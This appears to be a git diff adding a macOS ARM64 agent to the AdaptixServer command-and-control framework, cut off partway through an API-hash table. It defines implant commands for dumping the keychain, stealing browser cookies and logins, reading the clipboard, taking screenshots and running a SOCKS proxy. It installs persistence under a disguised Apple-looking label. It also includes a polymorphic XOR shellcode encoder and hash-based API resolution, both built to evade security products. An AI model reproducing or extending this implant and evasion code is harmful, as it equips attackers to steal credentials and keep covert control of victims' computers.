/etc/passwd", "Task: read file"); + cmd_cat.addArgString("path", true); + + let cmd_cp = ax.create_command("cp", "Copy file or directory", "cp src.txt dst.txt", "Task: copy file or directory"); + cmd_cp.addArgString("src", true); + cmd_cp.addArgString("dst", true); + + let cmd_cd = ax.create_command("cd", "Change current working directory", "cd /Users/target", "Task: change working directory"); + cmd_cd.addArgString("path", true); + + let cmd_download = ax.create_command("download", "Download a file", "download /tmp/file", "Task: download file"); + cmd_download.addArgString("path", true); + + let cmd_exit = ax.create_command("exit", "Kill agent", "exit", "Task: kill agent"); + + let _cmd_job_list = ax.create_command("list", "List of jobs", "job list", "Task: show jobs"); + let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "job kill 1a2b3c4d", "Task: kill job"); + _cmd_job_kill.addArgString("task_id", true); + let cmd_job = ax.create_command("job", "Long-running tasks manager"); + cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]); + + let cmd_kill = ax.create_command("kill", "Kill a process with a given PID", "kill 7865", "Task: kill process"); + cmd_kill.addArgInt("pid", true); + + let cmd_ls = ax.create_command("ls", "List contents of a directory or details of a file", "ls /Users/", "Task: list files"); + cmd_ls.addArgString("path", "", "."); + + let cmd_mv = ax.create_command("mv", "Move file or directory", "mv src.txt dst.txt", "Task: move file or directory"); + cmd_mv.addArgString("src", true); + cmd_mv.addArgString("dst", true); + + let cmd_mkdir = ax.create_command("mkdir", "Make a directory", "mkdir /tmp/ex", "Task: make directory"); + cmd_mkdir.addArgString("path", true); + + let cmd_ps = ax.create_command("ps", "Show process list", "ps", "Task: show process list"); + + let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory"); + + let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm /tmp/file", "Task: remove file or directory"); + cmd_rm.addArgString("path", true); + + let cmd_run = ax.create_command("run", "Execute long command or scripts", "run /tmp/script.sh", "Task: command run"); + cmd_run.addArgString("program", true); + cmd_run.addArgString("args", false); + + let cmd_screenshot = ax.create_command("screenshot", "Take a single screenshot", "screenshot", "Task: screenshot"); + + let cmd_clipboard = ax.create_command("clipboard", "Read clipboard contents", "clipboard", "Task: read clipboard"); + + let _cmd_persist_la = ax.create_command("launchagent", "Install LaunchAgent persistence (user-level)", "persist launchagent com.apple.mdworker.local", "Task: install LaunchAgent"); + _cmd_persist_la.addArgString("name", true, "Plist label (e.g. com.apple.mdworker.local)"); + let _cmd_persist_ld = ax.create_command("launchdaemon", "Install LaunchDaemon persistence (requires root)", "persist launchdaemon com.apple.mdworker.local", "Task: install LaunchDaemon"); + _cmd_persist_ld.addArgString("name", true, "Plist label"); + let _cmd_persist_rm = ax.create_command("remove", "Remove persistence", "persist remove launchagent com.apple.mdworker.local", "Task: remove persistence"); + _cmd_persist_rm.addArgString("method", true, "launchagent or launchdaemon"); + _cmd_persist_rm.addArgString("name", true, "Plist label"); + let _cmd_persist_st = ax.create_command("status", "Check persistence status", "persist status", "Task: check persistence"); + let cmd_persist = ax.create_command("persist", "Manage persistence (LaunchAgent/LaunchDaemon)"); + cmd_persist.addSubCommands([_cmd_persist_la, _cmd_persist_ld, _cmd_persist_rm, _cmd_persist_st]); + + let cmd_tcc_check = ax.create_command("tcc_check", "Check TCC permissions (FDA, Screen Recording, etc.)", "tcc_check", "Task: check TCC permissions"); + + let cmd_defaults_read = ax.create_command("defaults_read", "Read macOS defaults/preferences", "defaults_read NSGlobalDomain", "Task: read defaults"); + cmd_defaults_read.addArgString("domain", false, "Defaults domain (empty for all)"); + + let cmd_edr_check = ax.create_command("edr_check", "Detect installed EDR/security products", "edr_check", "Task: EDR detection"); + + let _cmd_keychain_list = ax.create_command("list", "List keychains and entries", "keychain list", "Task: list keychains"); + let _cmd_keychain_dump = ax.create_command("dump", "Dump keychain entries", "keychain dump", "Task: dump keychain"); + let cmd_keychain = ax.create_command("keychain", "Interact with macOS Keychain"); + cmd_keychain.addSubCommands([_cmd_keychain_list, _cmd_keychain_dump]); + + let cmd_browser_dump = ax.create_command("browser_dump", "Collect browser data (Chrome/Firefox)", "browser_dump chrome cookies", "Task: browser data collection"); + cmd_browser_dump.addArgString("browser", true, "chrome or firefox"); + cmd_browser_dump.addArgString("target", false, "cookies, history, or logins (empty to list files)"); + + let _cmd_socks_start = ax.create_command("start", "Start a SOCKS5 proxy server and listen on a specified port", "socks start 1080 -a user pass"); + _cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0"); + _cmd_socks_start.addArgInt("port", true, "Listen port"); + _cmd_socks_start.addArgBool("-a", "Enable User/Password authentication for SOCKS5"); + _cmd_socks_start.addArgString("username", false, "Username for SOCKS5 proxy"); + _cmd_socks_start.addArgString("password", false, "Password for SOCKS5 proxy"); + let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080"); + _cmd_socks_stop.addArgInt("port", true); + let cmd_socks = ax.create_command("socks", "Managing socks tunnels"); + cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]); + + let cmd_shell = ax.create_command("shell", "Execute command via /bin/zsh", "shell id", "Task: command execute"); + cmd_shell.addArgString("cmd", true); + + let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt /Users/target/file.txt", "Task: upload file"); + cmd_upload.addArgFile("local_file", true); + cmd_upload.addArgString("remote_path", false); + + let cmd_zip = ax.create_command("zip", "Archive (zip) a file or directory", "zip /Users/test /tmp/qwe.zip", "Task: Zip a file or directory"); + cmd_zip.addArgString("path", true); + cmd_zip.addArgString("zip_path", true); + + let commands_macos = ax.create_commands_group("macos", [cmd_browser_dump, cmd_cat, cmd_clipboard, cmd_cp, cmd_cd, cmd_defaults_read, cmd_download, cmd_edr_check, cmd_exit, cmd_job, cmd_keychain, cmd_kill, cmd_ls, cmd_mv, cmd_mkdir, cmd_persist, cmd_ps, cmd_pwd, cmd_rm, cmd_run, cmd_screenshot, cmd_socks, cmd_shell, cmd_tcc_check, cmd_upload, cmd_zip]); + + return { + commands_macos: commands_macos + } +} + +function GenerateUI(listeners_type) +{ + let labelFormat = form.create_label("Format:"); + let comboFormat = form.create_combo() + comboFormat.addItems(["Binary Mach-O (Native)", "Shellcode ARM64 (Native)"]); + + let labelTarget = form.create_label("Target:"); + let textTarget = form.create_textline("macOS ARM64 (Apple Silicon)"); + textTarget.setEnabled(false); + + let hline = form.create_hline() + + let labelReconnTimeout = form.create_label("Reconnect timeout:"); + let textReconnTimeout = form.create_textline("10"); + textReconnTimeout.setPlaceholder("seconds") + + let labelReconnCount = form.create_label("Reconnect count:"); + let spinReconnCount = form.create_spin(); + spinReconnCount.setRange(0, 1000000000); + spinReconnCount.setValue(1000000000); + + let layout = form.create_gridlayout(); + layout.addWidget(labelTarget, 0, 0, 1, 1); + layout.addWidget(textTarget, 0, 1, 1, 1); + layout.addWidget(labelFormat, 1, 0, 1, 1); + layout.addWidget(comboFormat, 1, 1, 1, 1); + layout.addWidget(hline, 2, 0, 1, 2); + layout.addWidget(labelReconnTimeout, 3, 0, 1, 1); + layout.addWidget(textReconnTimeout, 3, 1, 1, 1); + layout.addWidget(labelReconnCount, 4, 0, 1, 1); + layout.addWidget(spinReconnCount, 4, 1, 1, 1); + + let container = form.create_container() + container.put("format", comboFormat) + container.put("reconn_timeout", textReconnTimeout) + container.put("reconn_count", spinReconnCount) + + let panel = form.create_panel() + panel.setLayout(layout) + + return { + ui_panel: panel, + ui_container: container, + ui_height: 400, + ui_width: 550 + } +} diff --git a/AdaptixServer/extenders/macos_agent/config.yaml b/AdaptixServer/extenders/macos_agent/config.yaml new file mode 100644 index 000000000..dafbd21c1 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/config.yaml @@ -0,0 +1,9 @@ +extender_type: "agent" +extender_file: "agent_macos.so" +ax_file: "ax_config.axs" + +agent_name: "macos" +agent_watermark: "d3ac7f01" +listeners: + - "GopherTCP" +multi_listeners: true diff --git a/AdaptixServer/extenders/macos_agent/go.mod b/AdaptixServer/extenders/macos_agent/go.mod new file mode 100644 index 000000000..301e72056 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/go.mod @@ -0,0 +1,14 @@ +module adaptix_agent_macos + +go 1.25.4 + +require ( + github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 + github.com/vmihailenco/msgpack/v5 v5.4.1 +) + +require ( + github.com/stretchr/testify v1.11.1 // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/AdaptixServer/extenders/macos_agent/go.sum b/AdaptixServer/extenders/macos_agent/go.sum new file mode 100644 index 000000000..8f0a39d1c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/go.sum @@ -0,0 +1,16 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/AdaptixServer/extenders/macos_agent/macos_agent.ext b/AdaptixServer/extenders/macos_agent/macos_agent.ext new file mode 100644 index 000000000..69c589ece Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/macos_agent.ext differ diff --git a/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go b/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go new file mode 100644 index 000000000..c2663e267 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_encoder_macos.go @@ -0,0 +1,420 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + mrand "math/rand" +) + +// xorEncodeShellcodeARM64 applies XOR encoding to a macOS ARM64 dylib payload. +// Returns the encoded payload prepended with a polymorphic self-decoding ARM64 stub that: +// 1. Calls mprotect via direct syscall (svc #0x80) to make its memory RWX +// 2. XOR-decodes the payload in-place using a 16-byte key +// 3. Flushes the instruction cache (required on ARM64) +// 4. Branches to the decoded dylib (which triggers __attribute__((constructor))) +// +// Each call generates a unique stub with different: +// - XOR key (16 bytes, crypto-random) +// - Junk NOP padding (variable count) +// - Instruction variants in the decode loop +func xorEncodeShellcodeARM64(payload []byte) ([]byte, error) { + // Generate 16-byte random XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, err + } + + // XOR-encode the payload + encoded := make([]byte, len(payload)) + for i, b := range payload { + encoded[i] = b ^ key[i%16] + } + + // Generate polymorphic ARM64 stub + stub, keyOffset, sizeOffset := generateStubARM64() + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size into stub (little-endian uint32) + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + + // Assemble: stub + encoded payload + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + return result, nil +} + +// ARM64 instruction encoding helpers + +func arm64Nop() uint32 { return 0xD503201F } + +// stp x29, x30, [sp, #-16]! +func arm64StpX29X30PreDec() uint32 { return 0xA9BF7BFD } + +// ldp x29, x30, [sp], #16 +func arm64LdpX29X30PostInc() uint32 { return 0xA8C17BFD } + +// adr xD, #imm21 — PC-relative address (±1MB range) +func arm64Adr(rd int, imm21 int32) uint32 { + immlo := uint32(imm21&0x3) << 29 + immhi := uint32((imm21>>2)&0x7FFFF) << 5 + return 0x10000000 | immlo | immhi | uint32(rd) +} + +// ldr wD, [xN, #imm12*4] — load 32-bit from base + scaled imm +func arm64LdrWImm(rd, rn int, imm12 uint32) uint32 { + return 0xB9400000 | (imm12/4)<<10 | uint32(rn)<<5 | uint32(rd) +} + +// ldrb wD, [xN, xM] — option=011 (LSL), S=0 +func arm64LdrbReg(rd, rn, rm int) uint32 { + return 0x38606800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// strb wD, [xN, xM] — option=011 (LSL), S=0 +func arm64StrbReg(rd, rn, rm int) uint32 { + return 0x38206800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// eor wD, wN, wM +func arm64EorW(rd, rn, rm int) uint32 { + return 0x4A000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// add xD, xN, #imm12 +func arm64AddImm(rd, rn int, imm12 uint32) uint32 { + return 0x91000000 | imm12<<10 | uint32(rn)<<5 | uint32(rd) +} + +// and wD, wN, #imm — for AND w, w, #15 (bitmask 0xF = immr=0, imms=3, N=0) +func arm64AndWImm15(rd, rn int) uint32 { + // Logical immediate encoding for #15 (0xF): N=0, immr=0, imms=0b000011 + return 0x12000C00 | uint32(rn)<<5 | uint32(rd) +} + +// subs wD, wN, #imm12 +func arm64SubsWImm(rd, rn int, imm12 uint32) uint32 { + return 0x71000000 | imm12<<10 | uint32(rn)<<5 | uint32(rd) +} + +// b.ne #offset (offset in bytes, must be aligned to 4) +func arm64Bne(offset int32) uint32 { + imm19 := uint32(offset/4) & 0x7FFFF + return 0x54000001 | imm19<<5 +} + +// b #offset (unconditional branch, offset in bytes) +func arm64B(offset int32) uint32 { + imm26 := uint32(offset/4) & 0x3FFFFFF + return 0x14000000 | imm26 +} + +// mov xD, #imm16 +func arm64MovzX(rd int, imm16 uint32) uint32 { + return 0xD2800000 | imm16<<5 | uint32(rd) +} + +// movk xD, #imm16, lsl #16 +func arm64MovkXLsl16(rd int, imm16 uint32) uint32 { + return 0xF2A00000 | imm16<<5 | uint32(rd) +} + +// mov wD, #imm16 +func arm64MovzW(rd int, imm16 uint32) uint32 { + return 0x52800000 | imm16<<5 | uint32(rd) +} + +// mov xD, xN (alias for orr xD, xzr, xN) +func arm64MovX(rd, rn int) uint32 { + return 0xAA0003E0 | uint32(rn)<<16 | uint32(rd) +} + +// svc #0x80 +func arm64Svc80() uint32 { return 0xD4001001 } + +// and xD, xN, xN (NOP-equivalent, polymorphic filler) +func arm64AndSelf(rd int) uint32 { + return 0x8A000000 | uint32(rd)<<16 | uint32(rd)<<5 | uint32(rd) +} + +// orr xD, xD, xD (NOP-equivalent, polymorphic filler) +func arm64OrrSelf(rd int) uint32 { + return 0xAA000000 | uint32(rd)<<16 | uint32(rd)<<5 | uint32(rd) +} + +// and xD, xN, #0xFFFFFFFFFFFFF000 — clear low 12 bits (page align) +// Logical immediate: N=1, immr=52, imms=51 +// Ones(52) ROR 52 = bits [63:12] set = 0xFFFFFFFFFFFFF000 +func arm64AndPageAlign(rd, rn int) uint32 { + return 0x9274CC00 | uint32(rn)<<5 | uint32(rd) +} + +// sub xD, xN, xM +func arm64SubX(rd, rn, rm int) uint32 { + return 0xCB000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// add xD, xN, xM +func arm64AddX(rd, rn, rm int) uint32 { + return 0x8B000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} + +// cbnz wN, #offset (offset in bytes) +func arm64CbnzW(rn int, offset int32) uint32 { + imm19 := uint32(offset/4) & 0x7FFFF + return 0x35000000 | imm19<<5 | uint32(rn) +} + +// dc civac, xN — clean & invalidate data cache by VA +func arm64DcCivac(rn int) uint32 { + return 0xD50B7E20 | uint32(rn) +} + +// ic ivau, xN — invalidate instruction cache by VA +func arm64IcIvau(rn int) uint32 { + return 0xD50B7520 | uint32(rn) +} + +// dsb ish +func arm64DsbIsh() uint32 { return 0xD5033B9F } + +// isb +func arm64Isb() uint32 { return 0xD5033FDF } + +// Helper: encode a uint32 instruction to 4 bytes LE +func encodeInsn(insn uint32) []byte { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, insn) + return b +} + +// generateStubARM64 creates a polymorphic ARM64 decoder stub. +// Returns (stub_bytes, key_offset, size_offset). +// +// The stub layout: +// [prologue: save regs] +// [junk NOPs] +// [compute addresses: adr to key, size, data] +// [mprotect syscall: make stub+payload RWX] +// [junk NOPs] +// [XOR decode loop] +// [icache flush loop] +// [epilogue: restore regs, branch to decoded payload] +// [key: 16 bytes] +// [size: 4 bytes] +// [alignment padding to 8 bytes] +// --- encoded payload follows --- +func generateStubARM64() ([]byte, int, int) { + var stub []byte + + // Polymorphism: random junk instruction counts + junkCount1 := mrand.Intn(3) + 1 // 1-3 NOPs after prologue + junkCount2 := mrand.Intn(2) + 1 // 1-2 NOPs before decode loop + + // Polymorphism: choose loop counter variant + // 0 = subs + b.ne, 1 = sub + cbnz + loopVariant := mrand.Intn(2) + + // Register assignments (can be randomized in future iterations) + rKey := 9 // x9 = pointer to XOR key + rData := 10 // x10 = pointer to encoded data + rSize := 11 // w11 = remaining byte count + rKeyIdx := 12 // x12 = key index (0..15) + rTmp0 := 13 // w13 = temp for key byte + rTmp1 := 14 // w14 = temp for data byte + rPageBase := 15 // x15 = page-aligned base for mprotect + rMprotSz := 16 // x16 is reused for syscall number, then free; use x3 for mprotect size + _ = rMprotSz + + // ── Prologue ── + // stp x29, x30, [sp, #-16]! + stub = append(stub, encodeInsn(arm64StpX29X30PreDec())...) + + // Junk NOPs (polymorphic) + for i := 0; i < junkCount1; i++ { + stub = append(stub, encodeInsn(randomJunkInsn())...) + } + + // ── Address computation ── + // We'll patch these ADR offsets after we know the full stub size. + // For now, emit placeholders and record their positions. + adrKeyPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr xKey, key_data + + adrDataPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr xData, data_start + + // ldr w11, [x9, #16] — load size from key+16 (size field is right after key) + ldrSizePos := len(stub) + _ = ldrSizePos + stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...) + + // ── mprotect syscall ── + // Page-align stub base: and x15, x9, #~0xFFF (clear low 12 bits) + // We align from key address which is near the stub start + stub = append(stub, encodeInsn(arm64AndPageAlign(rPageBase, rKey))...) + + // Compute total mprotect size: + // size = (data_ptr + payload_size + 0xFFF) & ~0xFFF - page_base + // Simplified: use a generous size = data_ptr - page_base + payload_size + 4096 + // x0 = page_base (mprotect addr) + stub = append(stub, encodeInsn(arm64MovX(0, rPageBase))...) + + // x1 = data_ptr + size - page_base + 4096 + // We compute: x1 = x10 + x11 - x15 + stub = append(stub, encodeInsn(arm64AddX(1, rData, rSize))...) // x1 = data + size + stub = append(stub, encodeInsn(arm64SubX(1, 1, rPageBase))...) // x1 = x1 - page_base + stub = append(stub, encodeInsn(arm64AddImm(1, 1, 0xFFF))...) // x1 += 0xFFF + stub = append(stub, encodeInsn(arm64AndPageAlign(1, 1))...) // x1 &= ~0xFFF (round up) + + // x2 = PROT_READ | PROT_WRITE | PROT_EXEC = 7 + stub = append(stub, encodeInsn(arm64MovzW(2, 7))...) + + // x16 = SYS_mprotect = 0x200004A (BSD: 0x2000000 | 74) + stub = append(stub, encodeInsn(arm64MovzX(16, 0x004A))...) // x16 = 0x4A + stub = append(stub, encodeInsn(arm64MovkXLsl16(16, 0x0200))...) // x16 |= 0x0200_0000 + + // svc #0x80 + stub = append(stub, encodeInsn(arm64Svc80())...) + + // Junk NOPs (polymorphic) + for i := 0; i < junkCount2; i++ { + stub = append(stub, encodeInsn(randomJunkInsn())...) + } + + // ── XOR decode loop ── + // x12 = 0 (key index) + stub = append(stub, encodeInsn(arm64MovzX(rKeyIdx, 0))...) + + loopStart := len(stub) + + // w13 = key[key_idx] : ldrb w13, [x9, x12] + stub = append(stub, encodeInsn(arm64LdrbReg(rTmp0, rKey, rKeyIdx))...) + + // w14 = data[i] : ldrb w14, [x10] (we use post-index style but simpler: [x10, #0] then increment) + // Actually use x12 as key idx, need a separate counter for data. + // Simpler: use x10 as moving data pointer, x12 as key index + // ldrb w14, [x10] + stub = append(stub, encodeInsn(0x39400000|uint32(rData)<<5|uint32(rTmp1))...) // ldrb w14, [x10] + + // eor w14, w14, w13 + stub = append(stub, encodeInsn(arm64EorW(rTmp1, rTmp1, rTmp0))...) + + // strb w14, [x10] + stub = append(stub, encodeInsn(0x39000000|uint32(rData)<<5|uint32(rTmp1))...) // strb w14, [x10] + + // x10 += 1 (advance data pointer) + stub = append(stub, encodeInsn(arm64AddImm(rData, rData, 1))...) + + // x12 = (x12 + 1) & 15 + stub = append(stub, encodeInsn(arm64AddImm(rKeyIdx, rKeyIdx, 1))...) + stub = append(stub, encodeInsn(arm64AndWImm15(rKeyIdx, rKeyIdx))...) + + // Decrement size counter and loop + if loopVariant == 0 { + // subs w11, w11, #1 + b.ne loop + stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) + loopEnd := len(stub) + offset := int32(loopStart - loopEnd) + stub = append(stub, encodeInsn(arm64Bne(offset))...) + } else { + // sub w11, w11, #1 + cbnz w11, loop + stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) // subs for zero flag + _ = loopVariant + loopEnd := len(stub) + offset := int32(loopStart - loopEnd) + stub = append(stub, encodeInsn(arm64Bne(offset))...) + } + + // ── icache flush ── + // We need to flush the decoded payload region. + // Reload data_start address and size for the flush loop. + // Re-compute: the data pointer (x10) has been advanced past the payload. + // We need the original data_start. Recalculate from key addr: data_start = key + 20 (16 key + 4 size) + + // x10 = x9 + 20 (key + 16 + 4 = data_start) + stub = append(stub, encodeInsn(arm64AddImm(rData, rKey, 20))...) + + // Reload size from key+16 + stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...) + + // Flush icache for the decoded region + // For simplicity, use IC IALLUIS (invalidate ALL instruction cache) + // This is simpler than per-page flush and works correctly. + // On Apple Silicon this is allowed from userspace. + + // dc civac loop would be per-cache-line (64 bytes on Apple Silicon) + // But IC IALLUIS + DSB + ISB is cleaner and simpler + + // DSB ISH — ensure stores (XOR decode) are visible + stub = append(stub, encodeInsn(arm64DsbIsh())...) + + // IC IALLUIS — invalidate all instruction cache (inner shareable) + // sys #0, c7, c1, #0 = 0xD508711F + stub = append(stub, encodeInsn(0xD508711F)...) // ic ialluis + + // DSB ISH — ensure icache invalidation completes + stub = append(stub, encodeInsn(arm64DsbIsh())...) + + // ISB — synchronize instruction stream + stub = append(stub, encodeInsn(arm64Isb())...) + + // ── Epilogue ── + // ldp x29, x30, [sp], #16 + stub = append(stub, encodeInsn(arm64LdpX29X30PostInc())...) + + // b data_start — branch to decoded payload + branchPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: b data_start + + // ── Data area ── + keyOffset := len(stub) + stub = append(stub, make([]byte, 16)...) // 16-byte XOR key (to be patched) + + sizeOffset := len(stub) + stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size (to be patched) + + // Align to 8 bytes (ARM64 prefers 8-byte alignment for branch targets) + for len(stub)%8 != 0 { + stub = append(stub, 0x00) + } + + dataStart := len(stub) // This is where encoded payload will be appended + + // ── Patch ADR instructions ── + // adr xKey, key_data: offset = keyOffset - adrKeyPos + adrKeyImm := int32(keyOffset - adrKeyPos) + binary.LittleEndian.PutUint32(stub[adrKeyPos:adrKeyPos+4], arm64Adr(rKey, adrKeyImm)) + + // adr xData, data_start: offset = dataStart - adrDataPos + adrDataImm := int32(dataStart - adrDataPos) + binary.LittleEndian.PutUint32(stub[adrDataPos:adrDataPos+4], arm64Adr(rData, adrDataImm)) + + // ── Patch branch to data_start ── + branchOffset := int32(dataStart - branchPos) + binary.LittleEndian.PutUint32(stub[branchPos:branchPos+4], arm64B(branchOffset)) + + return stub, keyOffset, sizeOffset +} + +// randomJunkInsn returns a random ARM64 instruction that acts as a NOP +// (does nothing useful but varies the stub's byte signature) +func randomJunkInsn() uint32 { + switch mrand.Intn(5) { + case 0: + return arm64Nop() // nop + case 1: + r := mrand.Intn(16) // mov xR, xR + return arm64MovX(r, r) + case 2: + r := mrand.Intn(16) // and xR, xR, xR + return arm64AndSelf(r) + case 3: + r := mrand.Intn(16) // orr xR, xR, xR + return arm64OrrSelf(r) + default: + return arm64Nop() + } +} diff --git a/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go b/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go new file mode 100644 index 000000000..40e993d23 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_hashes_macos.go @@ -0,0 +1,327 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + "strings" +) + +// cryptoRandUint32 returns a cryptographically random uint32. +func cryptoRandUint32() uint32 { + var buf [4]byte + _, _ = rand.Read(buf[:]) + return binary.LittleEndian.Uint32(buf[:]) +} + +// djb2Hash computes a case-insensitive DJB2 hash (same as beacon's djb2a). +// Must match the C implementation in dyld_resolve.c exactly. +func djb2Hash(seed uint32, s string) uint32 { + h := seed + for _, c := range strings.ToLower(s) { + h = ((h << 5) + h) + uint32(c) + } + return h +} + +// macOS dylib entries — the libraries whose APIs we resolve by hash +var macosLibs = []struct { + define string + libName string +}{ + {"HASH_LIB_LIBSYSTEM", "libSystem.B.dylib"}, + {"HASH_LIB_LIBSYSTEM_C", "libsystem_c.dylib"}, + {"HASH_LIB_LIBSYSTEM_KERNEL", "libsystem_kernel.dylib"}, + {"HASH_LIB_LIBSYSTEM_PTHREAD", "libsystem_pthread.dylib"}, + {"HASH_LIB_COREFOUNDATION", "CoreFoundation"}, + {"HASH_LIB_SECURITY", "Security"}, + {"HASH_LIB_COREGRAPHICS", "CoreGraphics"}, +} + +// macOS function entries — organized by category +var macosFuncSections = []struct { + comment string + funcs []struct { + define string + name string + } +}{ + { + "// ── File I/O ──", + []struct{ define, name string }{ + {"HASH_FUNC_OPEN", "open"}, + {"HASH_FUNC_CLOSE", "close"}, + {"HASH_FUNC_READ", "read"}, + {"HASH_FUNC_WRITE", "write"}, + {"HASH_FUNC_STAT", "stat"}, + {"HASH_FUNC_FSTAT", "fstat"}, + {"HASH_FUNC_UNLINK", "unlink"}, + {"HASH_FUNC_RENAME", "rename"}, + {"HASH_FUNC_MKDIR", "mkdir"}, + {"HASH_FUNC_OPENDIR", "opendir"}, + {"HASH_FUNC_READDIR", "readdir"}, + {"HASH_FUNC_CLOSEDIR", "closedir"}, + {"HASH_FUNC_GETCWD", "getcwd"}, + {"HASH_FUNC_CHDIR", "chdir"}, + {"HASH_FUNC_COPYFILE", "copyfile"}, + {"HASH_FUNC_RMDIR", "rmdir"}, + {"HASH_FUNC_REWINDDIR", "rewinddir"}, + }, + }, + { + "// ── Memory ──", + []struct{ define, name string }{ + {"HASH_FUNC_MMAP", "mmap"}, + {"HASH_FUNC_MUNMAP", "munmap"}, + {"HASH_FUNC_MPROTECT", "mprotect"}, + }, + }, + { + "// ── Process ──", + []struct{ define, name string }{ + {"HASH_FUNC_FORK", "fork"}, + {"HASH_FUNC_EXECVE", "execve"}, + {"HASH_FUNC_EXECVP", "execvp"}, + {"HASH_FUNC_EXECL", "execl"}, + {"HASH_FUNC_EXECLP", "execlp"}, + {"HASH_FUNC_WAITPID", "waitpid"}, + {"HASH_FUNC_GETPID", "getpid"}, + {"HASH_FUNC_GETUID", "getuid"}, + {"HASH_FUNC_GETEUID", "geteuid"}, + {"HASH_FUNC_KILL", "kill"}, + {"HASH_FUNC_KILLPG", "killpg"}, + {"HASH_FUNC_SETSID", "setsid"}, + {"HASH_FUNC_SETPGID", "setpgid"}, + {"HASH_FUNC_EXIT", "_exit"}, + }, + }, + { + "// ── Network ──", + []struct{ define, name string }{ + {"HASH_FUNC_SOCKET", "socket"}, + {"HASH_FUNC_CONNECT", "connect"}, + {"HASH_FUNC_GETADDRINFO", "getaddrinfo"}, + {"HASH_FUNC_FREEADDRINFO", "freeaddrinfo"}, + {"HASH_FUNC_GETHOSTNAME", "gethostname"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + {"HASH_FUNC_SELECT", "select"}, + }, + }, + { + "// ── System ──", + []struct{ define, name string }{ + {"HASH_FUNC_SYSCTL", 